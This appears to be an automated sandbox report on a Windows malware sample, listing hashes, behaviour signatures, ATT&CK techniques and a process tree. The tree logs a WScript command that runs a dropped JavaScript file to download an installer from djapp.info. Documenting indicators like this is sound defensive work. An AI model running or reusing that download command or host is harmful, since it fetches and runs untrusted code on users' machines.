af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db

General

Target

af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe
Size

184KB
MD5

7a3ae85b5bc076b4c484e5223cdb43b7
SHA1

239fd8f151dde893baa1597a8b1394af2998abb0
SHA256

af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db
SHA512

5ec702074c30e8220b14c14e13f10678e63e91b8532c177b5ea1fe75e7de08ae7bdd61a284d7d287180a95724c99d313fde07502dc08226291b83d01d3b17894
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3R:/7BSH8zUB+nGESaaRvoB7FJNndnI

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
49	4244	WScript.exe
96	4244	WScript.exe
100	2520	WScript.exe
107	2520	WScript.exe
118	4872	WScript.exe
121	4872	WScript.exe
126	2628	WScript.exe
127	2628	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	126	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	100	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	118	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 4244	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	84
PID 4284 wrote to memory of 4244	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	84
PID 4284 wrote to memory of 4244	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	84
PID 4284 wrote to memory of 2520	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	89
PID 4284 wrote to memory of 2520	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	89
PID 4284 wrote to memory of 2520	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	89
PID 4284 wrote to memory of 4872	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	99
PID 4284 wrote to memory of 4872	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	99
PID 4284 wrote to memory of 4872	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	99
PID 4284 wrote to memory of 2628	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	103
PID 4284 wrote to memory of 2628	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	103
PID 4284 wrote to memory of 2628	4284	af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe	103

C:\Users\Admin\AppData\Local\Temp\af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe
"C:\Users\Admin\AppData\Local\Temp\af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe
  2⤵
  - Blocklisted process makes network request
  PID:4244
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe
  2⤵
  - Blocklisted process makes network request
  PID:4872
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf124F.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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